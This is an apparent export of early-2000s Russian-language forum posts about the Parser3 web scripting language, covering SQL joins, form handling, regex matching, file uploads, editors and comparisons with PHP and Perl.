ssilka : http://egorov2000.narod.ru/download/WORDFILE.zip\
esli eta ne tot wordfile, kotorim ti polzuyeshsya - poprobuy."
"4573","Если некоторое количество народа скажет, что это рулез, выкладывайте его - выложу. Пробовать лениво. Привык я уже к своему."
"4574","i voobsche....predlagayu sdelat na site'e chat...ili otkrit kanal gde nibud...a to ya ustayu reload'it'.\
\
P.S. a kakim wordfile'om ti polzuyeshsa?...Mozhet dash posmotret?!\
"
"4575","a code'i na parser2 v parser3 rabotayut?"
"4576","Мудрость народная - \
Не гони на вещи.\
Их люди делают!!!\
А о перле тот перец зря - сколько лет много тісяч программеров на него нарадоваться не могут - а тут нашелся пуп земли. БЛИН.\
"
"4578","есть ощущение, что выкачана xml версия CGI'ки, и не положены xml библиотеки.\
увидеть можно, просто запустив .exe файл руками, если всё в порядке — напечатает что-то мирное. если нет, система скажет про отсутствующие .dll"
"4579","Спасибо!!!"
"4581","Такого фана давно не читал! Не все, конечно, имеет право носить гордое имя FUN, но, блин, там в статьях такое есть! Спасибо за ссылку ;-)"
"4583","> И слава богу - не дай бог бы что самопальное прикрутили. \
> Ещё бы в укор поставил то, что regexp'ы там обрабатываются \
> pcre-модулем, заимствованным из\
\
мелочь: в PHP есть и PCRE выражения."
"4584","Согласе вернуться в форум\
Поправил код. Теперь он такой\
[code]\
^connect[$connect_string]{\
	$news[^table::sql{select * from news}]\
	$columns[^news.columns[]]\
	^columns.menu{\
		$columns.column\
	}[,]\
}\
[/code]\
\
Причем звездочку я постави специально, так как если я указываю в команде select не все колонки парсер выдает ошибку 500\
\
В результате получаем следущее\
\
[b]id , date , header , body , link [/b]\
\
Дальше если в предыдущем коде (не измененном) убрать [b]where\
			date='${now.year}-${now.month}-$day'[/b], то парсер выведет все имеющиеся записи из таблицы."
"4585","Скачал xml-библиотечки, подумал-подумал да и выложил их в папку, где парсер лежит (может куда в другое место надо). Заработало!"
"4586"," и написал вот так:\
FROM\
forum_message, forum_message_body\
WHERE                 \
forum_message.forum_message_body_id = forum_message_body.forum_message_body_id AND\
forum_message_id = ^id.int(0) AND\
is_published = 1\
\
Подскажите для чего тогда нужно как в примере:\
^MAIN:pSQL.left_join[where;forum_message_body;forum.forum_message_body_id = forum_message_body.forum_message_body_id]\
			forum_message_id = ^id.int(0) AND\
			is_published = 1\
}]\
"
"4587","Это конечно, чушь, но сам вопрос интересен производительность Parser'а в сравнении с другими вариантами"
"4589","однако, на сайте студии, нецензурные выражения мягко говоря неуместны."
"4590","и никто на него не дал ответа. Видимо потому что это не является [i]главным критерием[/i]. Тут как-то Sanja писал что главное TCO и ROI, я с ним полностью согласен. Программы на ассемблере получаются самыми маленькими и быстрыми, однако эти его достоинства с лихвой перекрываются дикой сложностью программирования на нём."
"4591","а в примере специально сделана ошибка в названии таблицы где хранятся сообщения (не их тела) - forum вместо forum_message\
\
^MAIN:pSQL.left_join[...] - это левое соединение таблиц, а вынесено это в метод класса, потому что для разных СУБД синтаксис написания соединений может различаться, подробнее о переносимости SQL запросов смотри http://www.parser.ru/examples/comp/"
"4592","Народ, пустяковая проблема, но решить не получается :(\
\
Нужно при выводе пользователю скрывать (т.е. удалять) код находящийся между тегами <comment> </comment>, проблемы возникают, когда внутри этих тегов находятся другие (напр. <a href=\"\">link</a>)...\
\
\
P.S. Использую, разумеется, ^string.match ...\
"
"4593","$buffer[^buffer.match[(<(comment?)>)(.+?)<\\/\\2>][gi]{<comment> </comment>}]"
"4594","LEFT JOIN нужен для того, чтобы получить результат даже если в таблице с телом сообщения не будет записи.\
\
В форуме (этом например) бывают собщения, у котогых тела сообщения НЕТ.\
В этом случае я предлагаю все-таки не писать ничего в таблицу forum_message_body ничего.\
И при таком раскладе твой запрос не вернет ничего.\
\
Так что или LEFT JOIN или 2 запроса.\
"
"4595","так \"спортивнее\"?\
\
[code]\
@cutBR[BRed][t]\
$t[$BRed]\
$t[^t.match[<br>][g]{^#0A}]\
<pre>$t</pre>\
[/code]"
"4596","http://parser.ru/forum/?id=4180\
\
поиск по сайту есть?\
если в поисковой машине есть возможность поиска по разделу, можно сделать и поиск по форуму.\
\
поиск по сайту вопрос большой и интересный.\
есть yandsearch, есть mnogosearch, есть другие.\
диапазон дат — вопрос решаемый."
"4597","http://parser.ru/forum/?id=4127\
\
приведите полное сообщение об ошибке, включая адрес документа, который не найден.\
\
вероятнее всего, вы прописали не /cgi-bin/parser... [правильно], а c:/.../cgi-bin [неправильно].\
"
"4598","Как опеределить какой файл загружает пользователь?\
\
[code]\
^if(def $form:file){ \
   ^form:file.save[binary;$FileName]\
}\
[/code]\
\
Т.е. нужно что бы $FileName в случае с jpg был\
image.jpg\
\
zip:\
archive.zip\
\
и т.д."
"4599","http://parser.ru/forum/?id=4125\
\
необходимо выключить перекодирование Русского Apache, Parser3 занимается кодировками сам, помощь ему не нужна.\
\
сейчас у вас получилось двойное перекодирование.\
\
[в документации это обязательно указано]"
"4600","http://parser.ru/forum/?id=4110\
\
это вы включили \"покажи мне parser файлы и sql запросы, строки и номера записей и языки, из которых появились буквы в результате\".\
\
и забыли об этом."
"4601","http://parser.ru/forum/?id=4096\
\
> Нельзя ли сделать так, чтоб возвращаемый ф-ией ..\
> можно было никуда не присвоить?\
\
конструктивнее?\
у нас язык, где в текст погружены операторы.\
совершенно неясно, скажем, тут:\
\
[code]\
@func[]\
returns text\
\
@main[]\
something ^func[] something\
[/code]\
\
из такого написания совершенно очевидно, что текст \"returns text\" должен попасть между \"something\"s.\
\
получается, что нужно проводить различия между текстовым и нетекстовым результатом.\
я никакого красивого способа это делать не вижу.\
предложите, обсудим?"
"4602","Не нравится мне этот язык (PHP) и все тут :)))\
\
Отдельные личности мне недавно заявили, что мол, все настоящие веб-проекты делаются на PHP/MySQL, а все остальное или морально устарело, либо вообще - детский сад...\
\
Это было сказано против Parser3/Perl/Oracle, вот последний аргумент, что у PHP производительность больше. \
Обратного доказать не могу, хотя мое ИМХО: самые главный фактор повышающий производительность - это программист/кодер.\
\
Но все равно - за Парсер обидно, обзывают его всякие :)))"
"4603","Вообщем, IMHO, тут дело обстоит так: если надо то кто-то, может из АЛГ или кто-то \"снаружи\" напишет скрипт, который будет работать быстрей на \"птичке\" чем на других вещах.\
мне эта ситуация начинает тихо напоминать ситуэшн с суперкомпьютерами, когда их специально затачивают под исполнение тестовой задачи, а не под реальные проекты университетов или еще чего.\
мне пока его скорости хватает(ну у меня и посещения - макс.: 10 чел/сек)"
"4604","Помнится несколько раз обсуждали, как заменить переводы строк на <br /> и т.д., и вроде пришли к выводу, что это сделать с помошью реплейса не получается, и всем предлагается делать это с помошью match (что тормозно).\
\
Так вот, решение существует (возможно не очень красивое):\
\
[code]\
$text[123\
345]\
\
$repl[^table::create{a	b\
^taint[^#0A]	-}]\
\
=^text.replace[$repl]=\
[/code]\
\
Т.е. \"грязный\" ентер и таб не используются как разделители при создании таблицы...\
\
Юзайте. :)"
"4605","http://parser.ru/forum/?id=4261\
\
1.\
вовсе не \"просто\".\
такая конструкция порождает косвенную связь куска кода с внешним миром через переменные. всякие косвенные связи крайне трудно отлаживать и понимать, код необходимо бить на максимально независимые блоки, общающиеся через возможно более узкий интерфейс, так задача делится на части легче = часть эти могут выполнять отдельные люди, или один человек, но не держа всё одновременно в голове.\
\
2.\
конструкция \
[code]\
@method[param][local]\
$var{parser code $param $local}\
[/code]\
\
нужна, чтобы связать код с локальными переменными, и чтобы потом можно было условно вызывать.\
\
и, конечно, взялась не из воздуха, а является прямым продолжением конструкции\
\
[code]\
@method[param][local]\
^if(условие){parser code $param $local}\
[/code]\
\
или, если так непонятно, конструкции:\
\
[code]\
@method[param][local]\
^call{parser code $param $local}\
[/code]\
\
ведь всем понятно, что код, переданный в метод, должен выполняться в контексте вызова, в контексте тех локальных переменных и текущего объекта, в котором написан, а не в котором к нему происходит обращение ВНУТРИ call [ведь там могут быть совсем другие переменные с теми же именами, а нужных может не быть].\
\
\
а теперь подумаем, куда деваются локальные переменные, когда мы выходим из метода? правильно, их состояние неопределено. \
[сейчас памяти освобождается совсем немного, но со временем…]\
\
а теперь подумаем, как можно пользоваться переменными, которые недоступны? правильно: никак.\
\
[отдыхал я немного]"
"4606","А что мне нравиться, так это то, что design.ru и Лебедев лично являются вдохновителем этого молодого человека."
"4607","вижу колонка \"header\" есть.\
так что такое сообщение возможно только неправильно набрав это слово. \
вижу также забавное \"autor\" в http://parser.ru/forum/?id=4335\
\
за орфографию ручаетесь?"
"4608","наращивать так строки…\
…1.\
не в духе parser, у нас код погружен в текст, и порождает текст.\
\
…2.\
в текущей модели работы parser с памятью крайне неэффективно."
"4609","в вопросе содержится ответ :)\
если код в menu большой, он просится в отдельный метод.\
иначе текст становится трудночитаемым.\
обычное правило: метод не больше одного экрана теста, чтобы легко можно было читать/понимать.\
\
диагноз:\
[code]\
@menu[]\
^records.menu{^cell[$records]}\
@cell[record]\
тут многострочный код\
который порождает\
маленький\
$result[результат]\
[/code]\
"
"4610","http://www.parser.ru/docs/lang/responsebody.htm"
"4612","пока только хитрой придумкой d0Rk'а.\
\
почему нет в языке:\
1.\
кодировки различаются, скажем, в KOI-8 буквы идут неподряд, преобразования код-буква нельзя сделать в цикле.\
2.\
в последнее время всё более модной становится кодировка UTF-8, она многобайтовая, и там преобразование туда и обратно надо делать иначе, там буква[до 6 байт] -> число[до 4 байт] и обратно не выглядит простым и понятным действием, хотя…\
\
диагноз:\
вывести буквы от А до Я толком нельзя, а хочется простого красивого решения.\
красивее перечисления в отдельном файлике необходимых символов ничего не получается.\
\
возможно, имеется другая цель, давайте её обсудим?"
"4613","это вопрос привычки и мне это кажется лишним.\
уверен, можно написать код так, чтобы [b]другие читающие код люди[/b] не сворачивали себе голову, соображая, куда там бежит i.\
как и step 2 и прочее.\
\
\
сейчас оператор с возможностями for создать нельзя: доступ к чужим локальным переменным сейчас отсутствует, и хотя можно сделать, чтобы можно было как-то так:\
[code]\
$PARENT_STACK_FRAME.i(0)\
[/code]\
\
но мне это кажется совсем не в духе parser."
"4614","грубо говоря:\
файл пришёл на момент начала обработки страницы.\
\
детали:\
после обработки всех @auto \
считывается поток данных от пользователя,\
после чего запускается @main и становятся доступны поля класса form.\
\
так что отслеживать ничего не нужно.\
если пользователь не передаст файл полностью, нажав на stop, на сервере произойдёт ошибка несоответствия заявленного content-length и фактического. её можно обработать в @unhandled_exception."
"4615","если нужно что-то многомерное или с произвольным доступом, то таблицы становятся не очень удобными.\
\
диагноз: используйте hash.\
\
вот, скажем, двухмерный массив с проивольным доступом:\
\
создаём:\
[code]\
$two_dim_array[\
  $.1[\
    $.1[a.a]\
    $.2[a.b]\
  ]\
  $.2[\
    $.1[b.a]\
    $.2[b.b]\
  ]\
]\
[/code]\
\
используем:\
[code]\
$two_dim_array.2.1\
[/code]\
= b.a\
\
\
не забывайте о возможности преобразования table в hash."
"4616","если провайдер не хочет идти навстречу, надо найти эту .so для этой платформы, и использовать её.\
\
алгоритм: \
1. попробовать самому\
2. обратиться к окружающим\
\
[в таком порядке]"
"4617","пока загрузка файла из базы лежит в todo.\
планируется продолжить идеологию ^int:sql{…}, сделав ^file::sql{…}.\
\
однако это половина проблемы:\
как красиво[в духе parser] [b]положить в базу[/b] file?\
красивые идеи сюда: {место для идей}"
"4618","[code]\
^void:sql{insert … /**body**/'$file.body'}\
^file::sql{select body from …}\
[/code]\
\
записал такое в todo."
"4619","[code]@body_main[]\
$day(^if(def$form:day){$form:day}{$now.day})\
^connect[$connect_string]{\
		$news[^table::sql{select\
			date, header, body\
		from\
			news\
		where\
			date=2002-07-31\
		}]\
		^if($news){\
			^news.menu{\
				<b>$news.header</b><br>\
				^untaint{$news.body}<br>\
			}[<br>]\
		}{\
			За указанный период новостей не найдено.\
		}\
}[/code]\
Так что ошибки в обращении к БД нет.\
\
Дальше, если в БД нет данных за указанный период то выдается ошибка [b]result contains no columns select date, header, body from news where date='2002-7-31'[/b], а если данные есть то не может найти либо [b]header[/b] либо [b]body[/b]. Попробовал написать запрос к БД на PHP - все работает.\
\
Насчет забавного \"autor\" да сознаюсь есть такое. Просто один раз написав так в коде поленился исправлять и дальше писал тоже самое. В БД gbook тоже прописано \"autor\". C этой БД тоже самое. Парсер выдает туже ошибку\
[b]result contains no columns\
select id, autor, email, date, body from gbook[/b]"
"4620","подробнее:\
\
что в логе: запрос обработан, и 0 байт ответа?\
другие подробности?"
"4621","@auto[]\
$request:charset[koi8-r]\
^if(условие){\
$response:charset[windows-1251]\
}\
\
[только сейчас есть ошибка, и перекодирует это и бинарные файлы, используйте только когда передаётся только текст]"
"4624","Стал экспериментировать с измененным кодом и нашел инторесную закономерность. Если в БД пять полей и сообщений тоже пять, то выводятся все поля, тоесть [b]id , date , header , body , link[/b]. А если в базу занесено всего четыре сообщения то выводятся только четыре поля [b]id , date , header , body[/b]\
и т. д. Соответственно если в БД нет сообщений вообще то парсер выдает ошибку [b]result contains no columns select date, header, body, link from news where date='2002-7-31'[/b]. Чтобы это значело?"
"4625","Раз так, то самое простое: ввести какую-нибудь фейковую переменную\
$void и в неё кидать, что не нужно. $void[^xdoc.removeChild[...]]\
Просто очень не хочется плодить сущности, выдумывая доп. переменные и усложняя код.\
"
"4626","При регистрации в базе я сохраняю пароль при помощи пассворд().\
Т.е он шифруется.\
Вот теперь восстала одна проблем: как его сравнивать с тем, который приходит из формы при аутентификации.\
"
"4629","Было бы здорово, если бы ты раскрыл секрет, когда возможность работы с файлом перейдет из разряда todo ? (т.е. когда ждать (назови хотя бы месяц))\
\
п.с. мой начальник все время косит на asp, мол и то он может и сё он может, а мне не мил asp, я пишу и хочу писать на парсере - и когда мне ставят \"факт\" невозможности реальзиции чего-либо на парсере, становится как-то обидно(за парсер, за родину) и раздирает злость(в частности и на asp)."
"4630","bad resulting time (day hole)\
roll\
\
C:/WEB/count/log.html(41)\
\
--------------------------------------------------------------------------------\
roll C:/WEB/count/log.html(41)\
"
"4632","bad resulting time (day hole)\
roll\
\
C:/WEB/count/log.html(41)\
\
--------------------------------------------------------------------------------\
roll C:/WEB/count/log.html(41)"
"4633","read failed: No such file or directory (2), actual filename 'C:/Documents and Settings/sergn/_D0_E0_E1_EE_F7_E8_E9 _F1_F2_EE_EB/_D4_C0_C2_CE_D0 _CA_DE/sz7xml/index.html'\
C:/Documents and Settings/sergn/„Q&#7095;‰r&#469931;/&#1280;&#142;„Q&#670;/sz7xml/index.html\
\
user-request(1)\
exception.type=file.missing \
\
„@ „… „}„u„~„‘ „r„Ќ„t„p„u„„ „r„Ђ„„ „Џ„„„Ђ „ѓ„Ђ„Ђ„q„‹„u„~„y„u „Ѓ„‚„y „Ѓ„Ђ„Ѓ„Ќ„„„{„u „x„p„Ѓ„…„ѓ„{„p index.html"
"4634","read failed: No such file or directory (2), actual filename 'C:/Documents and Settings/sergn/_D0_E0_E1_EE_F7_E8_E9 _F1_F2_EE_EB/_D4_C0_C2_CE_D0 _CA_DE/sz7xml/index.html'\
C:/Documents and Settings/sergn/„Q&#7095;‰r&#469931;/&#1280;&#142;„Q&#670;/sz7xml/index.html\
\
user-request(1)\
exception.type=file.missing "
"4635","\"хочется\".\
конструктивнее?"
"4636","в mysql есть ещё crypt, лучше им(причём md5), поскольку password() можно подобрать."
"4637","кто-то 31 июля подвинул на месяц назад. не было 31 июня.\
\
как \"должно\" быть можно спорить.\
тут есть разные мнения."
"4638","Пока получилось, оказывается не любит русских букв."
"4640","С выводом данных разобрался, все работает отлично.\
Спасибо.\
\
Теперь вопрос с формой ввода.\
Вот что я придумал с обработкой формы, В этих местах(???????????) совсем не\
понятно как получать данные, хоть примерно подскажите плз.\
А может и вовсе все не так нужно делать.\
\
^if(def $form:post){\
 ^dbconnect{\
   ^void:sql{\
	insert into forum_message(\
		parent_id,\
		thread_id,\
		title,\
		email,\
		author,\
		forum_message_body_id,\
		dt_published,\
		is_published\
		)	        \
	 values (\
		'$parent_id[]',\
		??????????????,\
		'$form:title',\
		'$form:email',\
		'$form:author',\
		'?????????????',\
		now(),\
		'^if(def $form:text){1}{0}'\
	        )}\
   ^void:sql{\
	insert into forum_message_body(\
		body\
		)	        \
	 values(\
		'$form:text'\
		)}\
   }\
}\
"
"4641","1. поменяй местави два запроса. После первого (добавление тела сообщения) забирай last_insert_id() - и его будешь пихать на место твоего второго ?????\
\
2. что такое $parent_id[] - для меня загадка.\
\
3. если у тебя добавляется корневое сообщение - то после добавления записи достаешь ее last_insert_id() и запихиваешь его в thread_id. если добавляется не корневое (ответ) - то достаешь значение thread_id у родительского сообщения (хотя лучше доставать id у корневого сообщения данного треда) и пишешь в thread_id..."
"4643","Если открываю index.htm через обзор в \"Управлении компьютером\" все работает.\
Если открываю из каталога вижу\
^navigation[]"
"4644","Есть некая таблица items в базе, с полями:\
[code]\
items\
item_id >> item_title >> item_type_id >> item_brand_id\
[/code]\
И ещё есть две таблицы - types и brands вот с такой структурой:\
[code]\
types\
type_id >> type_name\
\
brands\
brand_id >> brand_name\
[/code]\
\
Никак не соображу, что нужно сделать, чтобы с минимальными затратами памяти проставить в таблицу items значения item_type_id и item_brand_id. Алгоритм нахождения соответствий следующий - если значение type_name или brand_name таблиц types или brands, соответственно, содержиться в поле item_title таблицы items, то должны быть проставлены соответствующие айдишники. Пробую это делать вот таким макаром:\
[code]\
@BTUpdate[]\
$updtTable[^table::sql{\
	SELECT \
		item_id,\
		item_title\
	FROM items\
}]\
^updtTable.menu{\
	^void:sql{\
		UPDATE items\
		SET\
			item_brand_id='^getBrandId[$updtTable.item_title]',\
			item_type_id='^getTypeId[$updtTable.item_title]'\
		WHERE item_id='$updtTable.item_id'\
	}\
}\
$updtTable[]\
\
@getTypeId[sString]\
$typeT[^table::sql{\
	SELECT\
		type_id,\
		type_name\
	FROM types\
}]\
^typeT.menu{\
	^if(^sString.match[$typeT.type_name][gi]){\
		$result[$typeT.type_id]\
	}\
}\
^if(!def $result){$result[0]}\
\
@getBrandId[sString]\
$brandT[^table::sql{\
	SELECT\
		brand_id,\
		brand_name\
	FROM brands\
}]\
^brandT.menu{\
	^if(^sString.match[$brandT.brand_name][gi]){\
		$result[$brandT.brand_id]\
	}\
}\
^if(!def $result){$result[0]}\
[/code]\
Ну, вызывается ^BTUpdate[]. Пока записей в types и brands не очень много (3-4), всё рулит, если больше, то вылезает [i]out of pool memory: failed to allocate 64 bytes; already allocated on pool: 12385140 bytes in 393660 times[/i]. В таблице items порядка 1000-1500 записей. Я так полагаю, что в принципе это можно сделать средствами MySQL, только вот не знаю как :(( Подскажите плиzzz что-нибудь...\
"
"4645","2. что такое $parent_id[] - для меня загадка.\
Это я забыл вопросики поставить.\
\
А за ласт_ИД огромное спасибо - заработало"
"4647","Господа, \
перерыв весь форум в поисках механизма авторизации я понял, что нужно релизовывать механизм работы с сессиями. Но вот не задача, как сгенерировать этот уникальный session_id. На Win32 можно использовать  GUID, под linux я встретил совет - прочитать пару килобайт всякого мусора из /dev/urandom и посчитать MD5 ...  А вот интересно кроссплатформенное решение. Может кто что посоветует?\
P.S. Жаль что в парсер не предоставляет такой возможности :("
"4648","Типа так:\
[code]\
$brands[^hash::sql{\
   select\
      brand_name,\
      brand_id\
   from\
      brands\
}]\
$types[^hash::sql{\
   select\
      type_name,\
      type_id\
   from\
      types\
}]\
$items[^table::sql{\
   select\
      item_id,\
      item_title\
   from\
      items\
}]\
^items.menu{\
   ^void:sql{\
      update items\
      set item_brand_id = $brands.[$items.item_title].brand_id\
      set item_type_id = $typess.[$items.item_title].type_id\
      where item_id = $items.item_id\
   }\
}\
[/code]"
"4650","Там ведь не строгое соответствие... item_title, например может быть такой - 'Зерноуборочный пылесос фирмы ZZZ интернэйшинал', а type_name и brand_name, соответсно 'Пылесос' и 'ZZZ'..."
"4651","В общем, пробуй запросы вида:\
[code]\
select\
   items.item_id,\
   brands.brand_id\
from\
   items,\
   brands\
where\
   items.item_title like \"%brands.brand_name%\"\
[/code]\
пихай в таблицы, сверяй показания и апдейть..."
"4653","Получиться ли использовать данные из БД типа дата в Парсере с методами класса дата?"
"4654","Могу я помимо файла auto.p создать еще например footer.p и вызывать из него какие-то процедуры также как из auto.p"
"4655","Используй, для этого если я не ошибаюсь 5 урок был написан. Оформляй свой footer.p как класс и вперед."
"4656","В том то и дело я не хочу создавать класс.\
Мне фактически нужна библиотека процедур, только вынесенная в файл с произвольным названием"
"4657","вынеси все что тебе нужно в файл, но в нём не должно быть штук определяющих класс:\
[code]\
@CLASS\
...\
[/code]\
и подключай этот файл через @USE в корневом auto.p сайта. Все методы(функции) из этого файла будут доступны везде как пользовательские операторы."
"4659","Захожу на www.toster.ru и вижу это:\
получается, сами разработчики не могут контролировать все ошибки?\
\
\
Entity: line 160: error: xmlParseEntityRef: expecting ';'\
ta.ru/2002/07/30/novyjsestiso.shtml\"><href>РќРѕРІС‹Р№ &laquoС?РµСЃС‚РёСЃРѕС‚С‹Р                                                  ^\
set\
/home/www/toster/toster/www/auto.p(80)\
exception.type=xml \
--------------------------------------------------------------------------------\
set /home/www/toster/toster/www/auto.p(80)\
if /home/www/toster/toster/www/auto.p(79)\
if /home/www/toster/toster/www/auto.p(78)\
XSLTransform /home/www/toster/toster/www/auto.p(33)\
connect /home/www/toster/toster/www//conf/hosting.p(8)\
server /home/www/toster/toster/www/auto.p(31)\
cache /home/www/toster/toster/www/auto.p(23)\
\
\
"
"4660","и парсер тут ни причём"
"4661","на разных сайтах, но под одним апачем"
"4665","Если у каждого сайта своя cgi-bin (хотя теоретически можно и через ScriptAlias). В одном .htaccess - обработчик Parser2.cgi, в другом - Parser3.cgi. Все должно работать."
"4667","Пока только если ты возьмешь парсер из CVS.\
Там есть метод, который из даты, полученой от SQL сервера (вида YYYY-MM-DD HH:II:SS) делает парсерный объект типа \"дата\".\
\
Скоро этот парсер будет скомпилирован и выложен в download."
"4669","Да, но мне очень редко приходилось видеть ошибки php на серьезных сайтах. \
Гораздо чаще - perl'а из-за его сложности, MySQL из-за того, что разработчики перехитрили сами себя с языком запросов и на навороченных запросах очень легко ошибиться.. Теперь еще и парсер3 из-за сложных механизмов наследования."
"4670","задам тебе вопрос, который мне однажды задал Серж Золотухин:\
\
Если на свет рождается балбес, означает ли это что вся белковая форма жизни полный отстой?\
\
Да и о \"серъёзных\" сайтах, - человеческая ошибка она не зависит от серъёзности сайта."
"4671","обработка ошибок - песня отдельная от языка. ;-)"
"4672","Собссно, сабж. Поясню, чего хочу: например, Dreamveawer4 позволяет худо-бедно работать с SSI (.shtml), причем обрабатывает вложения до 1 уровня вложенности. Есть  ли ср-во разработки, кроме Апача на моем компе?"
"4673","А разве Апачь - это средство разработки, я всегда думал и использовал его как сервер. Странно, странно, а я незнал ;-) ;-)\
Если тебе интересно какими редакторами большинство народа пользуется - то это UltraEdit - он надежен в работе и прекрасен всем, чем есть + Notepad(это скорее для отладки).\
Прости, но ты некорректно поставил вопрос."
"4674","Да, возможно вопрос не совсем корректен. Понятно, что Апачь -- не средство разработки, просто он частенько применяется для отладки динамических сайтов. Так вот, в принципе при работе с теми же .shtml можно обойтись без Апача. А при разработке Parser-based кода? UltraEdit обрабатывает включения кода Parser в html? Если да, то это то, что я хотел бы видеть, наверное... Пойду искать УльтраЭдит..."
"4675","UltraEdit и прочие редакторы не могут обрабатывать самостоятельно код, тут без сервера никак.\
А так уже давно пора зыбыть про Дримвьюверы-Фронтпейджы-ХотДоги и пр. лабуду, т.к. все визуальные средства вредны до безобразия.\
Поверь человеку с высшим педагогическим образованием :-)\
И предлагаю тему о редакторах не продолжать (но если вам все же неймется - пишите на мыло)."
"4676","bersh UltraEdit v9.0 i WordFile, raspolozhenniy vot zdes : \
http://egorov2000.narod.ru/download/WORDFILE.zip\
\
i usaesh - klassniy redaktor  - kak govorit moy drug - VESCH !"
"4677","Никакой текстовый редактор, не может сформировать из шаблонов на парсере html и затем его тебе показать. Да это и не надо на самом деле, неужели трудно Apache поставить? Если трудно качай проект Денвер отсюда: http://www.dklab.ru/ там тебе есть и Apache и парсер и mySQL с php."
"4680","seychas proveryu - no ya polzuyus v9.0...seychas sgruzil v.9.1 - poprobuyu...."
"4681","Главное меню показывает\
При попытке перейти на следующую(другую) страницу, находящуюся в подкаталоге, выдает \"не удается найти требуемую страницу\"\
в подкаталоге находится только файл index.htm"
"4682","izvini...no ti che - tormoz?! esli file'ov net, to ih nelzya nayti! mne tak izvestno...esli u tebya po drugomu...."
"4683","kogda mi ego uvidim?!:)"
"4685","da net, prosto interesno - raboti idut? ili kak? ichto nas zhdet v v4?\
A naschet parser'a - eto prosto kayf! Esli ya naydu vas  - vseh rastseluyu!:) VESCH! Nu u menya net slov! a vse te, kto schitaet, chto Perl ili Php luchshe - dk oni losi! Moy teacher po assembleru govoril, chto s pomoschyu tsikla for() i viborom if() mozhno napisat lyubuyu progu! V parser'e eto vse est - tak chto flag nam v ruki! A LaMErs MuST dIE! I LOVE PARSER!\
PaRSer FoREVeR"
"4686","Но все равно, я пока работаю с наследованием в парсере только в крайних случаях:-)"
"4687","А с помощью операторов цикла и условного можно действительно написать любую програамму, так же как и с помощью совка выкопать котлован, однако с помощью экскаватора это делать немного быстрее и удобнее :) Язык хорош тогда, когда в нём есть [i]удобные[/i] средства для поддержки выбранного тобой стиля программирования и решаемых задач."
"4689","nuuu....Parser'u v udobstve ne zanimat....po-moemu...."
"4691","Вот эта критика ООП\
http://forum.usability.ru/Default.asp?action=view&id=3412&returnpage=0\
 в плане наследования парсеру как нельзя более подходит"
"4693","TwoHands.dll, MyBrain.exe ;-)\
Aditor + Apache/Win32, MySQL/Win32 (+ MySQLFront)\
изредка - Qed/PalmOS,\
FTP-клиент + PuTTY... всё...\
Ещё использую молотый Tchibo Exclusive для оверклокинга соображалки (чтоб соображала :-)\
\
Кстати, а Development Environment простенький для парсера под винду бы не помешал - простой, на уровне VBA-редактора в Office - с удобным вычленением макросов, как в ворде (а так, пока долистаешь до нужного @thistinything[param1,param2] в файле...) автозаполнением по первым буквам имён функций, визуальным debug'ом и подобными вкусностями.\
\
Кто возьмётся? Я - не умею..."
"4696","В том-то и дело, что они есть.\
Проблему уже решил.\
Не знаю как у тебя прошли \"уроки\", но пришлось в \
\
строках описать полный путь\
@navigation[] \
$sections[^table::load[/полный путь/sections.cfg]] \
\
в самом sections.cfg тоже пришлось описывать полный путь к файлам, начиная от корневого каталога диска\
\
Конечно можно потратить 2-4 часа времени, чтобы все это выяснить и исправить, но, наверное, многие здесь с этим столкнулись.\
\
Теперь по 3-му уроку сделал все как полагается - пустая страница :-(\
"
"4699","[code]\
$folder[/aaa/bbb/abc.html]\
$folder[^folder.match[([^^\\/]+^$)][gi]{$file[$match.1]}]\
[/code]"
"4700","Дык! Кодить ваще не надо будет... ПРосто объясняешь ему в нескольких словах, что бы ты хотел видеть на сайте, ну, на крайняк эскиз набросаешь и показываешь в монитор и всё... делов то!"
"4701","Да не хочу я операторы.\
Мне просто нужны собственный процедуры, по примеру как в уроке 1.\
Но только если их писать в auto.p код получается слишком большой и в текстовом редакторе его смотреть становится тяжело, вот я и хотел вынести процедуру @footer[] в файл footer.p, а процедуру @header[] в файл header.p. Вот и все дела... :)"
"4702","Попробовал...\
Получил: usage failed - no $MAIN:CLASS_PATH were specified"
"4703","ты в конфигурационном файле сайте не определил $CLASS_PATH"
"4704","Кстати, [b]Sanja (v.2)[/b] праильную темку, на мой фсглят, паднял. Посему, еще уточню вопросец: может быть, существует обычный компилятор, в виде того же exeшника, который просто компилит Parsered HTML в обычный HTML? Причем, просто из командной строки, и безо всяких Апачей? \
В идеале, конечно, этот компилятор должен выполнять все запросы к БД, и все такое..."
"4705","@navigation[]\
^if(def ^request:uri.match[/(.+)/]){\
^request:uri.match[/(.+)/][g]{$result[/<a href=\"/match.1/\">${match.1}/]}\
}{}"
"4707","команда configure --with-apache\
и команда make\
\
не помогают?"
"4708","можно почтой детали? [безымянный = лень придумывать ник?]"
"4710","Ну смех смехом, а все же второй вариант мне нравится больше, как более простой :) \
"
"4711","sorry za translit - v Turkey net russkih klav....\
K delu : \
est file, soderzhaschiy sql-zaprosi. Kazhdiy zapros v 1 stroku i zakanchivaetsa ';' - kak i polagaetsa (ya dumayu).\
Teper, iz parser'a probuyu \
[code]$f[^file:load[text;/query.sql]]\
^void:sql{$f.text}\
[/code]\
Na eto parser ochen dlinno rugaetsa...to emu kavichki v query ne nravyatsa, to ';'...\
Ya reshil sdelat hod konem : \
[code]\
1. udalil vse kavichki iz query\
2. lsplit[;\
]'om razbil ves file na stroki, iz strok sozdal table i potom\
$table.menu{\
^void:sql{$table.parts}\
}\
[/code]\
etot variant rabotaet, no, po-moemu ne hvataet sportivnosti.\
Mozhet kto znaet, kak eto delo po drugomu sdelat?! podskazhite!\
P.S. ochen ploho, chto nelzya ispolzovat kavichki - v buduschem mozhet prigoditsa - a u menya ne rabotaet - obidno..."
"4713","da...no eto zamenit kavichki na kodi-eqvivalenti. sql na eto rugatsa ne stanet? Proverit seychas ne mogu - comp ne pashet...A za sovet spasibo....chto-to ya dazhe ne podumal konya tak povernut..:)"
"4715","Predlagayu vo 2-om uroke, v \
[code]\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
strochku - ^if($sections.uri eq $request:uri){...} \
zamenit na ^if($sections.uri eq $request:uri || in $sections.uri){...}\
[/code]\
tak, kak tekuschaya konstruktsiya rabotaet tolko na te file'i, kotoriye opisani v sections.cfg. Pri sozdaniyi, dopustim, view.html v razdele /news/, pri perehode na etot file yacheyka \"Novosti\" v menu navigatsiyi ne stanovitsa tekuschey. Pri spravleniyi visheukazannoy strochki vse rabotaet prekrasno - v podkatalogah sections.cfg mozhno sozdavat lyuboe kol-vo file'ov...\
                                [i]k svedeniyu manual-writer'ov[/i]"
